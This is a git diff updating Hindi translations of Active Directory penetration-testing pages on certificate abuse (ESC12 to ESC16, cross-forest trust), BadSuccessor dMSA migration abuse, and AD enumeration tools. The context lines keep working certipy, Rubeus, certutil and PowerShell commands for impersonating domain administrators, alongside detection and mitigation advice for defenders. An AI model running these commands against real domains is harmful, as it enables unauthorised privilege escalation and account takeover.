कुंजी/पासवर्ड रजिस्ट्री में `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` के तहत स्पष्ट पाठ में संग्रहीत होती है। Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### Abuse Scenario -If the CA's private key stored on a physical USB device when you got a shell access, it is possible to recover the key. +यदि CA की निजी कुंजी एक भौतिक USB डिवाइस पर संग्रहीत है जब आपको शेल एक्सेस मिला, तो कुंजी को पुनर्प्राप्त करना संभव है। -In first, you need to obtain the CA certificate (this is public) and then: +पहले, आपको CA प्रमाणपत्र प्राप्त करना होगा (यह सार्वजनिक है) और फिर: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -661,7 +663,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local यदि `John` को `VulnerableTemplate` में नामांकित करने की अनुमति है, तो उपयोगकर्ता `VulnerableGroup` समूह के विशेषाधिकारों को विरासत में ले सकता है। -उसे केवल टेम्पलेट निर्दिष्ट करने की आवश्यकता है, यह OIDToGroupLink अधिकारों के साथ एक प्रमाणपत्र प्राप्त करेगा। +उसे केवल टेम्पलेट निर्दिष्ट करने की आवश्यकता है, उसे OIDToGroupLink अधिकारों के साथ एक प्रमाणपत्र प्राप्त होगा। ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` @@ -671,28 +673,28 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text. -ESC14 "कमजोर स्पष्ट प्रमाणपत्र मैपिंग" से उत्पन्न होने वाली कमजोरियों को संबोधित करता है, मुख्य रूप से Active Directory उपयोगकर्ता या कंप्यूटर खातों पर `altSecurityIdentities` विशेषता के दुरुपयोग या असुरक्षित कॉन्फ़िगरेशन के माध्यम से। यह बहु-मूल्य वाला गुण प्रशासकों को प्रमाणीकरण उद्देश्यों के लिए AD खाते के साथ X.509 प्रमाणपत्रों को मैन्युअल रूप से जोड़ने की अनुमति देता है। जब भरा जाता है, तो ये स्पष्ट मैपिंग डिफ़ॉल्ट प्रमाणपत्र मैपिंग लॉजिक को ओवरराइड कर सकते हैं, जो आमतौर पर प्रमाणपत्र के SAN में UPNs या DNS नामों, या `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा विस्तार में एम्बेडेड SID पर निर्भर करता है। +ESC14 "कमजोर स्पष्ट प्रमाणपत्र मैपिंग" से उत्पन्न होने वाली कमजोरियों को संबोधित करता है, मुख्य रूप से Active Directory उपयोगकर्ता या कंप्यूटर खातों पर `altSecurityIdentities` विशेषता के दुरुपयोग या असुरक्षित कॉन्फ़िगरेशन के माध्यम से। यह बहु-मूल्य विशेषता प्रशासकों को प्रमाणीकरण उद्देश्यों के लिए AD खाते के साथ X.509 प्रमाणपत्रों को मैन्युअल रूप से जोड़ने की अनुमति देती है। जब भरा जाता है, तो ये स्पष्ट मैपिंग डिफ़ॉल्ट प्रमाणपत्र मैपिंग लॉजिक को ओवरराइड कर सकते हैं, जो आमतौर पर प्रमाणपत्र के SAN में UPNs या DNS नामों, या `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा विस्तार में एम्बेडेड SID पर निर्भर करता है। -एक "कमजोर" मैपिंग तब होती है जब `altSecurityIdentities` विशेषता के भीतर प्रमाणपत्र की पहचान करने के लिए उपयोग किया जाने वाला स्ट्रिंग मान बहुत व्यापक, आसानी से अनुमानित, गैर-विशिष्ट प्रमाणपत्र क्षेत्रों पर निर्भर करता है, या आसानी से धोखा देने योग्य प्रमाणपत्र घटकों का उपयोग करता है। यदि एक हमलावर एक ऐसा प्रमाणपत्र प्राप्त कर सकता है या तैयार कर सकता है जिसके गुण एक विशेषाधिकार प्राप्त खाते के लिए इस तरह की कमजोर परिभाषित स्पष्ट मैपिंग से मेल खाते हैं, तो वे उस प्रमाणपत्र का उपयोग उस खाते के रूप में प्रमाणीकरण करने और उसकी नकल करने के लिए कर सकते हैं। +एक "कमजोर" मैपिंग तब होती है जब `altSecurityIdentities` विशेषता के भीतर प्रमाणपत्र की पहचान करने के लिए उपयोग किया जाने वाला स्ट्रिंग मान बहुत व्यापक, आसानी से अनुमानित, गैर-विशिष्ट प्रमाणपत्र क्षेत्रों पर निर्भर करता है, या आसानी से धोखा देने योग्य प्रमाणपत्र घटकों का उपयोग करता है। यदि एक हमलावर एक ऐसा प्रमाणपत्र प्राप्त कर सकता है या तैयार कर सकता है जिसके गुण ऐसे कमजोर परिभाषित स्पष्ट मैपिंग के लिए एक विशेषाधिकार प्राप्त खाते से मेल खाते हैं, तो वे उस प्रमाणपत्र का उपयोग उस खाते के रूप में प्रमाणीकरण करने और उसकी नकल करने के लिए कर सकते हैं। कमजोर `altSecurityIdentities` मैपिंग स्ट्रिंग के संभावित उदाहरणों में शामिल हैं: -- केवल सामान्य विषय सामान्य नाम (CN) द्वारा मैपिंग: उदाहरण के लिए, `X509:CN=SomeUser`। एक हमलावर इस CN के साथ एक प्रमाणपत्र एक कम सुरक्षित स्रोत से प्राप्त कर सकता है। -- अत्यधिक सामान्य जारीकर्ता विशिष्ट नाम (DNs) या विषय DNs का उपयोग करना बिना किसी विशेष अनुक्रम संख्या या विषय कुंजी पहचानकर्ता जैसे आगे की योग्यता के: उदाहरण के लिए, `X509:CN=SomeInternalCACN=GenericUser`। -- अन्य पूर्वानुमानित पैटर्न या गैर-क्रिप्टोग्राफिक पहचानकर्ताओं का उपयोग करना जिन्हें एक हमलावर एक प्रमाणपत्र में संतोषजनक रूप से पूरा कर सकता है जिसे वे वैध रूप से प्राप्त या तैयार कर सकते हैं (यदि उन्होंने एक CA से समझौता किया है या ESC1 में एक कमजोर टेम्पलेट पाया है)। +- केवल एक सामान्य विषय सामान्य नाम (CN) द्वारा मैपिंग: उदाहरण के लिए, `X509:CN=SomeUser`। एक हमलावर इस CN के साथ एक प्रमाणपत्र एक कम सुरक्षित स्रोत से प्राप्त कर सकता है। +- अत्यधिक सामान्य जारीकर्ता विशिष्ट नाम (DNs) या विषय DNs का उपयोग करना बिना किसी विशेष अनुक्रमांक या विषय कुंजी पहचानकर्ता जैसे आगे की योग्यता के: उदाहरण के लिए, `X509:CN=SomeInternalCACN=GenericUser`। +- अन्य पूर्वानुमानित पैटर्न या गैर-क्रिप्टोग्राफिक पहचानकर्ताओं का उपयोग करना जिन्हें एक हमलावर एक प्रमाणपत्र में संतुष्ट कर सकता है जिसे वे वैध रूप से प्राप्त या तैयार कर सकते हैं (यदि उन्होंने एक CA से समझौता किया है या ESC1 में एक कमजोर टेम्पलेट पाया है)। `altSecurityIdentities` विशेषता मैपिंग के लिए विभिन्न प्रारूपों का समर्थन करती है, जैसे: - `X509:IssuerDNSubjectDN` (पूर्ण जारीकर्ता और विषय DN द्वारा मैप करता है) - `X509:SubjectKeyIdentifier` (प्रमाणपत्र के विषय कुंजी पहचानकर्ता विस्तार मान द्वारा मैप करता है) -- `X509:SerialNumberBackedByIssuerDN` (अनुक्रम संख्या द्वारा मैप करता है, जो अप्रत्यक्ष रूप से जारीकर्ता DN द्वारा योग्य है) - यह एक मानक प्रारूप नहीं है, आमतौर पर यह `IssuerDNSerialNumber` होता है। +- `X509:SerialNumberBackedByIssuerDN` (अनुक्रमांक द्वारा मैप करता है, जो अप्रत्यक्ष रूप से जारीकर्ता DN द्वारा योग्य है) - यह एक मानक प्रारूप नहीं है, आमतौर पर यह `IssuerDNSerialNumber` होता है। - `X509:EmailAddress` (SAN से RFC822 नाम, आमतौर पर एक ईमेल पता, द्वारा मैप करता है) - `X509:Thumbprint-of-Raw-PublicKey` (प्रमाणपत्र की कच्ची सार्वजनिक कुंजी के SHA1 हैश द्वारा मैप करता है - सामान्यतः मजबूत) -इन मैपिंग की सुरक्षा चुने गए प्रमाणपत्र पहचानकर्ताओं की विशिष्टता, अद्वितीयता और क्रिप्टोग्राफिक ताकत पर बहुत अधिक निर्भर करती है। डोमेन नियंत्रकों पर मजबूत प्रमाणपत्र बाइंडिंग मोड सक्षम होने के बावजूद (जो मुख्य रूप से SAN UPNs/DNS और SID विस्तार पर आधारित अप्रत्यक्ष मैपिंग को प्रभावित करते हैं), एक खराब कॉन्फ़िगर किया गया `altSecurityIdentities` प्रविष्टि अभी भी नकल के लिए एक सीधा मार्ग प्रस्तुत कर सकता है यदि मैपिंग लॉजिक स्वयं दोषपूर्ण या बहुत अनुमति देने वाला है। +इन मैपिंग की सुरक्षा चुने गए प्रमाणपत्र पहचानकर्ताओं की विशिष्टता, अद्वितीयता और क्रिप्टोग्राफिक ताकत पर बहुत अधिक निर्भर करती है। डोमेन नियंत्रकों पर मजबूत प्रमाणपत्र बाइंडिंग मोड सक्षम होने के बावजूद (जो मुख्य रूप से SAN UPNs/DNS और SID विस्तार पर आधारित अप्रत्यक्ष मैपिंग को प्रभावित करते हैं), एक खराब कॉन्फ़िगर किया गया `altSecurityIdentities` प्रविष्टि अभी भी नकल के लिए एक सीधा मार्ग प्रस्तुत कर सकता है यदि मैपिंग लॉजिक स्वयं दोषपूर्ण या बहुत उदार है। ### Abuse Scenario -ESC14 **स्पष्ट प्रमाणपत्र मैपिंग** को Active Directory (AD) में लक्षित करता है, विशेष रूप से `altSecurityIdentities` विशेषता। यदि यह विशेषता सेट की गई है (डिज़ाइन द्वारा या गलत कॉन्फ़िगरेशन के माध्यम से), तो हमलावर मैपिंग से मेल खाने वाले प्रमाणपत्र प्रस्तुत करके खातों की नकल कर सकते हैं। +ESC14 **स्पष्ट प्रमाणपत्र मैपिंग** को Active Directory (AD) में लक्षित करता है, विशेष रूप से `altSecurityIdentities` विशेषता। यदि यह विशेषता सेट की गई है (डिज़ाइन द्वारा या गलत कॉन्फ़िगरेशन के कारण), तो हमलावर मैपिंग से मेल खाने वाले प्रमाणपत्र प्रस्तुत करके खातों की नकल कर सकते हैं। #### Scenario A: Attacker Can Write to `altSecurityIdentities` @@ -729,7 +731,7 @@ certutil -MergePFX .\esc13.pem .\esc13.pfx ```bash .\Rubeus.exe asktgt /user: /certificate:C:\esc13.pfx /nowrap ``` -साफ-सफाई (वैकल्पिक) +सफाई (वैकल्पिक) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` @@ -741,7 +743,7 @@ For more specific attack methods in various attack scenarios, please refer to th The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text. -बिल्ट-इन डिफ़ॉल्ट संस्करण 1 सर्टिफिकेट टेम्पलेट्स का उपयोग करते हुए, एक हमलावर एक CSR तैयार कर सकता है जिसमें एप्लिकेशन नीतियाँ शामिल हैं जो टेम्पलेट में निर्दिष्ट विस्तारित कुंजी उपयोग विशेषताओं की तुलना में प्राथमिकता दी जाती हैं। एकमात्र आवश्यकता नामांकन अधिकार है, और इसका उपयोग क्लाइंट प्रमाणीकरण, सर्टिफिकेट अनुरोध एजेंट, और कोडसाइनिंग सर्टिफिकेट उत्पन्न करने के लिए किया जा सकता है **_WebServer_** टेम्पलेट का उपयोग करके। +बिल्ट-इन डिफ़ॉल्ट संस्करण 1 सर्टिफिकेट टेम्पलेट्स का उपयोग करते हुए, एक हमलावर एक CSR तैयार कर सकता है जिसमें एप्लिकेशन नीतियाँ शामिल हैं जो टेम्पलेट में निर्दिष्ट कॉन्फ़िगर की गई विस्तारित कुंजी उपयोग विशेषताओं की तुलना में प्राथमिकता रखती हैं। एकमात्र आवश्यकता नामांकन अधिकार है, और इसका उपयोग क्लाइंट प्रमाणीकरण, सर्टिफिकेट अनुरोध एजेंट, और कोडसाइनिंग सर्टिफिकेट उत्पन्न करने के लिए किया जा सकता है **_WebServer_** टेम्पलेट का उपयोग करके। ### Abuse @@ -753,7 +755,7 @@ certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` #### Scenario A: Direct Impersonation via Schannel -**Step 1: एक प्रमाणपत्र का अनुरोध करें, "Client Authentication" एप्लिकेशन नीति और लक्षित UPN को इंजेक्ट करते हुए।** हमलावर `attacker@corp.local` "WebServer" V1 टेम्पलेट का उपयोग करते हुए `administrator@corp.local` को लक्षित करता है (जो नामांकित द्वारा प्रदान किए गए विषय की अनुमति देता है)। +**Step 1: एक प्रमाणपत्र का अनुरोध करें, "Client Authentication" एप्लिकेशन नीति और लक्षित UPN को इंजेक्ट करते हुए।** हमलावर `attacker@corp.local` `administrator@corp.local` को "WebServer" V1 टेम्पलेट का उपयोग करके लक्षित करता है (जो नामांकित द्वारा प्रदान किए गए विषय की अनुमति देता है)। ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -772,7 +774,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` #### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse -**Step 1: V1 टेम्पलेट से एक सर्टिफिकेट का अनुरोध करें (जिसमें "Enrollee supplies subject" हो), "Certificate Request Agent" एप्लिकेशन पॉलिसी को इंजेक्ट करते हुए।** यह सर्टिफिकेट हमलावर (`attacker@corp.local`) के लिए एक एनरोलमेंट एजेंट बनने के लिए है। यहाँ हमलावर की अपनी पहचान के लिए कोई UPN निर्दिष्ट नहीं किया गया है, क्योंकि लक्ष्य एजेंट की क्षमता है। +**Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** यह प्रमाणपत्र हमलावर (`attacker@corp.local`) के लिए एक नामांकन एजेंट बनने के लिए है। यहाँ हमलावर की अपनी पहचान के लिए कोई UPN निर्दिष्ट नहीं किया गया है, क्योंकि लक्ष्य एजेंट क्षमता है। ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -800,9 +802,9 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' **ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)** उस परिदृश्य को संदर्भित करता है जहाँ, यदि AD CS की कॉन्फ़िगरेशन सभी प्रमाणपत्रों में **szOID_NTDS_CA_SECURITY_EXT** एक्सटेंशन को शामिल करने को लागू नहीं करती है, तो एक हमलावर इसका लाभ उठा सकता है: -1. **SID बाइंडिंग के बिना** एक प्रमाणपत्र का अनुरोध करना। +1. एक प्रमाणपत्र **बिना SID बाइंडिंग** के अनुरोध करना। -2. इस प्रमाणपत्र का उपयोग **किसी भी खाते के रूप में प्रमाणीकरण के लिए** करना, जैसे कि एक उच्च-विशेषाधिकार खाते (जैसे, एक डोमेन प्रशासक) का अनुकरण करना। +2. इस प्रमाणपत्र का **किसी भी खाते के रूप में प्रमाणीकरण के लिए उपयोग करना**, जैसे कि एक उच्च-विशेषाधिकार खाते (जैसे, एक डोमेन प्रशासक) का अनुकरण करना। आप इस लेख को और अधिक विस्तृत सिद्धांत जानने के लिए देख सकते हैं: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6 @@ -810,7 +812,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' निम्नलिखित [इस लिंक](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) का संदर्भित है, अधिक विस्तृत उपयोग विधियों को देखने के लिए क्लिक करें। -यह पहचानने के लिए कि क्या Active Directory Certificate Services (AD CS) वातावरण **ESC16** के लिए संवेदनशील है +यह पहचानने के लिए कि क्या Active Directory Certificate Services (AD CS) वातावरण **ESC16** के प्रति संवेदनशील है ```bash certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable ``` @@ -821,7 +823,7 @@ certipy account \ -dc-ip '10.0.0.100' -user 'victim' \ read ``` -**चरण 2: पीड़ित खाते का UPN लक्षित प्रशासक के `sAMAccountName` में अपडेट करें।** +**चरण 2: पीड़ित खाते का UPN लक्षित प्रशासक के `sAMAccountName` पर अपडेट करें।** ```bash certipy account \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -835,7 +837,7 @@ certipy shadow \ -dc-ip '10.0.0.100' -account 'victim' \ auto ``` -**चरण 4: ESC16-खतरे में पड़े CA पर _किसी भी उपयुक्त क्लाइंट प्रमाणीकरण टेम्पलेट_ (जैसे, "उपयोगकर्ता") से "शिकार" उपयोगकर्ता के रूप में एक प्रमाणपत्र का अनुरोध करें।** क्योंकि CA ESC16 के प्रति संवेदनशील है, यह जारी किए गए प्रमाणपत्र से SID सुरक्षा विस्तार को स्वचालित रूप से हटा देगा, चाहे इस विस्तार के लिए टेम्पलेट की विशिष्ट सेटिंग्स कुछ भी हों। Kerberos क्रेडेंशियल कैश पर्यावरण चर सेट करें (शेल कमांड): +**चरण 4: ESC16-खतरे में पड़े CA पर _किसी भी उपयुक्त क्लाइंट प्रमाणीकरण टेम्पलेट_ (जैसे, "उपयोगकर्ता") से "पीड़ित" उपयोगकर्ता के रूप में एक प्रमाणपत्र का अनुरोध करें।** क्योंकि CA ESC16 के प्रति संवेदनशील है, यह जारी किए गए प्रमाणपत्र से SID सुरक्षा विस्तार को स्वचालित रूप से छोड़ देगा, भले ही इस विस्तार के लिए टेम्पलेट की विशिष्ट सेटिंग्स क्या हों। Kerberos क्रेडेंशियल कैश पर्यावरण चर सेट करें (शेल कमांड): ```bash export KRB5CCNAME=victim.ccache ``` @@ -861,17 +863,16 @@ certipy auth \ ``` ## प्रमाणपत्रों के साथ जंगलों का समझौता निष्क्रिय वॉयस में समझाया गया -### समझौता किए गए CAs द्वारा जंगलों के विश्वास का टूटना +### समझौता किए गए CAs द्वारा जंगलों के विश्वासों का टूटना -**क्रॉस-फॉरेस्ट नामांकन** के लिए कॉन्फ़िगरेशन को अपेक्षाकृत सीधा बनाया गया है। **रूट CA प्रमाणपत्र** को संसाधन जंगल से **खाता जंगलों में प्रकाशित** किया जाता है, और संसाधन जंगल से **एंटरप्राइज CA** प्रमाणपत्रों को **प्रत्येक खाता जंगल में `NTAuthCertificates` और AIA कंटेनरों में जोड़ा जाता है**। स्पष्ट करने के लिए, यह व्यवस्था **संसाधन जंगल में CA को सभी अन्य जंगलों पर पूर्ण नियंत्रण** देती है जिनका वह PKI प्रबंधित करता है। यदि इस CA को **हमलावरों द्वारा समझौता किया जाता है**, तो संसाधन और खाता जंगलों में सभी उपयोगकर्ताओं के लिए प्रमाणपत्रों को **उनके द्वारा जाली बनाया जा सकता है**, जिससे जंगल की सुरक्षा सीमा टूट जाती है। +**क्रॉस-फॉरेस्ट नामांकन** के लिए कॉन्फ़िगरेशन को अपेक्षाकृत सरल बनाया गया है। **रूट CA प्रमाणपत्र** को संसाधन जंगल से **खाता जंगलों में प्रकाशित** किया जाता है, और संसाधन जंगल से **एंटरप्राइज CA** प्रमाणपत्रों को **प्रत्येक खाता जंगल में `NTAuthCertificates` और AIA कंटेनरों में जोड़ा जाता है**। स्पष्ट करने के लिए, यह व्यवस्था **संसाधन जंगल में CA को सभी अन्य जंगलों पर पूर्ण नियंत्रण** देती है जिनका वह PKI प्रबंधित करता है। यदि इस CA को **हमलावरों द्वारा समझौता किया जाता है**, तो संसाधन और खाता जंगलों में सभी उपयोगकर्ताओं के लिए प्रमाणपत्रों को **उनके द्वारा जाली बनाया जा सकता है**, जिससे जंगल की सुरक्षा सीमा टूट जाती है। ### विदेशी प्रिंसिपलों को दिए गए नामांकन विशेषाधिकार -मल्टी-फॉरेस्ट वातावरण में, एंटरप्राइज CAs के संबंध में सावधानी बरतने की आवश्यकता है जो **प्रमाणपत्र टेम्पलेट्स प्रकाशित करते हैं** जो **प्रमाणित उपयोगकर्ताओं या विदेशी प्रिंसिपलों** (उपयोगकर्ता/समूह जो उस जंगल के बाहर हैं जिसमें एंटरप्राइज CA है) को **नामांकन और संपादन अधिकार** देते हैं।\ -एक विश्वास के पार प्रमाणीकरण के बाद, **प्रमाणित उपयोगकर्ताओं का SID** AD द्वारा उपयोगकर्ता के टोकन में जोड़ा जाता है। इसलिए, यदि एक डोमेन में एक एंटरप्राइज CA है जिसमें एक टेम्पलेट है जो **प्रमाणित उपयोगकर्ताओं को नामांकन अधिकार** देता है, तो एक उपयोगकर्ता **एक अलग जंगल से टेम्पलेट में नामांकित** हो सकता है। इसी तरह, यदि **एक टेम्पलेट द्वारा एक विदेशी प्रिंसिपल को स्पष्ट रूप से नामांकन अधिकार दिए जाते हैं**, तो **एक क्रॉस-फॉरेस्ट एक्सेस-कंट्रोल संबंध इस प्रकार बनाया जाता है**, जिससे एक जंगल से एक प्रिंसिपल को **दूसरे जंगल के टेम्पलेट में नामांकित** किया जा सकता है। - -दोनों परिदृश्यों से एक जंगल से दूसरे जंगल में **हमले की सतह में वृद्धि** होती है। प्रमाणपत्र टेम्पलेट की सेटिंग्स को एक हमलावर द्वारा एक विदेशी डोमेन में अतिरिक्त विशेषाधिकार प्राप्त करने के लिए शोषित किया जा सकता है। +मल्टी-फॉरेस्ट वातावरण में, एंटरप्राइज CAs के संबंध में सावधानी बरतने की आवश्यकता है जो **प्रमाणपत्र टेम्पलेट्स प्रकाशित करते हैं** जो **प्रमाणित उपयोगकर्ताओं या विदेशी प्रिंसिपलों** (उपयोगकर्ता/समूह जो उस जंगल के बाहर हैं जिसमें एंटरप्राइज CA है) को **नामांकन और संपादन अधिकार** प्रदान करते हैं।\ +एक विश्वास के पार प्रमाणीकरण के बाद, **प्रमाणित उपयोगकर्ताओं का SID** AD द्वारा उपयोगकर्ता के टोकन में जोड़ा जाता है। इसलिए, यदि एक डोमेन में एक एंटरप्राइज CA है जिसमें एक टेम्पलेट है जो **प्रमाणित उपयोगकर्ताओं को नामांकन अधिकार** देता है, तो एक उपयोगकर्ता **एक अलग जंगल से टेम्पलेट में नामांकित** हो सकता है। इसी तरह, यदि **एक टेम्पलेट द्वारा एक विदेशी प्रिंसिपल को स्पष्ट रूप से नामांकन अधिकार दिए जाते हैं**, तो **एक क्रॉस-फॉरेस्ट एक्सेस-कंट्रोल संबंध इस प्रकार बनाया जाता है**, जिससे एक जंगल से एक प्रिंसिपल को **दूसरे जंगल के टेम्पलेट में नामांकित** करने की अनुमति मिलती है। +दोनों परिदृश्यों से एक जंगल से दूसरे जंगल में **हमले की सतह में वृद्धि** होती है। प्रमाणपत्र टेम्पलेट की सेटिंग्स को एक हमलावर द्वारा एक विदेशी डोमेन में अतिरिक्त विशेषाधिकार प्राप्त करने के लिए शोषित किया जा सकता है। ## संदर्भ diff --git a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md index 00a874aad..3284e21d0 100644 --- a/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md +++ b/src/windows-hardening/active-directory-methodology/badsuccessor-dmsa-migration-abuse.md @@ -47,7 +47,7 @@ Set-ADServiceAccount attacker_dMSA -Add \ # 3. Mark the migration as *completed* Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2} ``` -प्रतिलिपि के बाद, हमलावर बस **logon** कर सकता है `attacker_dMSA$` के रूप में या Kerberos TGT का अनुरोध कर सकता है - Windows *superseded* खाते का टोकन बनाएगा। +प्रतिलिपि के बाद, हमलावर बस `attacker_dMSA$` के रूप में **logon** कर सकता है या Kerberos TGT का अनुरोध कर सकता है - Windows *superseded* खाते का टोकन बनाएगा। ### Automation @@ -68,7 +68,7 @@ dir \\DC01\C$ ``` ## Detection & Hunting -**Object Auditing** को OUs पर सक्षम करें और निम्नलिखित Windows Security Events की निगरानी करें: +**ऑब्जेक्ट ऑडिटिंग** को OUs पर सक्षम करें और निम्नलिखित Windows सुरक्षा घटनाओं की निगरानी करें: * **5137** – **dMSA** ऑब्जेक्ट का निर्माण * **5136** – **`msDS-ManagedAccountPrecededByLink`** का संशोधन @@ -81,12 +81,13 @@ dir \\DC01\C$ ## Mitigation -* **least privilege** के सिद्धांत को लागू करें – केवल विश्वसनीय भूमिकाओं को *Service Account* प्रबंधन का प्रतिनिधित्व दें। +* **कम से कम विशेषाधिकार** के सिद्धांत को लागू करें – केवल विश्वसनीय भूमिकाओं को *सेवा खाता* प्रबंधन का प्रतिनिधित्व दें। * OUs से `Create Child` / `msDS-DelegatedManagedServiceAccount` को हटा दें जो स्पष्ट रूप से इसकी आवश्यकता नहीं है। -* ऊपर सूचीबद्ध इवेंट IDs की निगरानी करें और dMSAs बनाने या संपादित करने वाले *non-Tier-0* पहचान पर अलर्ट करें। +* ऊपर सूचीबद्ध घटना आईडी की निगरानी करें और dMSAs बनाने या संपादित करने वाले *गैर-टियर-0* पहचान पर अलर्ट करें। ## See also + {{#ref}} golden-dmsa-gmsa.md {{#endref}} diff --git a/src/windows-hardening/active-directory-methodology/bloodhound.md b/src/windows-hardening/active-directory-methodology/bloodhound.md index 0e3bd5ce2..4ac33f597 100644 --- a/src/windows-hardening/active-directory-methodology/bloodhound.md +++ b/src/windows-hardening/active-directory-methodology/bloodhound.md @@ -1,4 +1,4 @@ -# BloodHound & अन्य Active Directory Enumeration Tools +# BloodHound & Other Active Directory Enumeration Tools {{#include ../../banners/hacktricks-training.md}} @@ -18,7 +18,7 @@ adws-enumeration.md * ऑब्जेक्ट विशेषताओं और सुरक्षा वर्णनकर्ताओं का संपादन * ऑफ़लाइन विश्लेषण के लिए स्नैपशॉट निर्माण / तुलना -### त्वरित उपयोग +### Quick usage 1. उपकरण शुरू करें और किसी भी डोमेन क्रेडेंशियल के साथ `dc01.corp.local` से कनेक्ट करें। 2. `File ➜ Create Snapshot` के माध्यम से एक ऑफ़लाइन स्नैपशॉट बनाएं। @@ -28,7 +28,7 @@ adws-enumeration.md ## ADRecon -[ADRecon](https://github.com/adrecon/ADRecon) एक डोमेन से एक बड़े सेट के आर्टिफैक्ट (ACLs, GPOs, trusts, CA templates …) को निकालता है और एक **Excel रिपोर्ट** उत्पन्न करता है। +[ADRecon](https://github.com/adrecon/ADRecon) एक डोमेन से एक बड़े सेट के आर्टिफैक्ट (ACLs, GPOs, trusts, CA templates …) को निकालता है और एक **Excel report** उत्पन्न करता है। ```powershell # On a Windows host in the domain PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon @@ -56,7 +56,7 @@ SharpHound.exe --CollectionMethods All # Full sweep (noisy) SharpHound.exe --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL SharpHound.exe --Stealth --LDAP # Low noise LDAP only ``` -कलेक्टर्स JSON उत्पन्न करते हैं जिसे BloodHound GUI के माध्यम से ग्रहण किया जाता है। +संग्रहकर्ता JSON उत्पन्न करते हैं जिसे BloodHound GUI के माध्यम से ग्रहण किया जाता है। --- @@ -71,7 +71,7 @@ Group3r.exe -f gpo.log # -s to stdout ## PingCastle -[PingCastle](https://www.pingcastle.com/documentation/) Active Directory का **health-check** करता है और जोखिम स्कोरिंग के साथ एक HTML रिपोर्ट उत्पन्न करता है। +[PingCastle](https://www.pingcastle.com/documentation/) Active Directory का **स्वास्थ्य-चेक** करता है और जोखिम स्कोरिंग के साथ एक HTML रिपोर्ट उत्पन्न करता है। ```powershell PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!" ``` diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index 877b39db6..2afe8b519 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -इस परिदृश्य में एक बाहरी डोमेन आप पर भरोसा कर रहा है (या दोनों एक-दूसरे पर भरोसा कर रहे हैं), इसलिए आप इसके ऊपर कुछ प्रकार की पहुंच प्राप्त कर सकते हैं। +इस परिदृश्य में, एक बाहरी डोमेन आप पर भरोसा कर रहा है (या दोनों एक-दूसरे पर भरोसा कर रहे हैं), इसलिए आप इसके ऊपर कुछ प्रकार की पहुंच प्राप्त कर सकते हैं। ## Enumeration @@ -56,13 +56,13 @@ IsDomain : True # You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` -पिछली गणना में यह पाया गया कि उपयोगकर्ता **`crossuser`** **`External Admins`** समूह के अंदर है, जिसके पास **DC of the external domain** के अंदर **Admin access** है। +In the previous enumeration it was found that the user **`crossuser`** is inside the **`External Admins`** group who has **Admin access** inside the **DC of the external domain**. -## प्रारंभिक पहुंच +## Initial Access -यदि आप अपने उपयोगकर्ता के लिए अन्य डोमेन में कोई **विशेष** पहुंच नहीं पा रहे हैं, तो आप अभी भी AD विधि में वापस जा सकते हैं और **एक अप्रिविलेज्ड उपयोगकर्ता से प्रिवेस्क** करने की कोशिश कर सकते हैं (उदाहरण के लिए, केरबेरोस्टिंग जैसी चीजें): +यदि आप **दूसरे डोमेन** में अपने उपयोगकर्ता की कोई **विशेष** पहुंच नहीं पा रहे हैं, तो आप अभी भी AD पद्धति पर वापस जा सकते हैं और **एक अप्रिविलेज्ड उपयोगकर्ता से प्रिवेस्क** करने की कोशिश कर सकते हैं (उदाहरण के लिए, केरबेरोस्टिंग जैसी चीजें): -आप **Powerview functions** का उपयोग करके `-Domain` पैरामीटर के साथ **अन्य डोमेन** को **गणना** करने के लिए कर सकते हैं 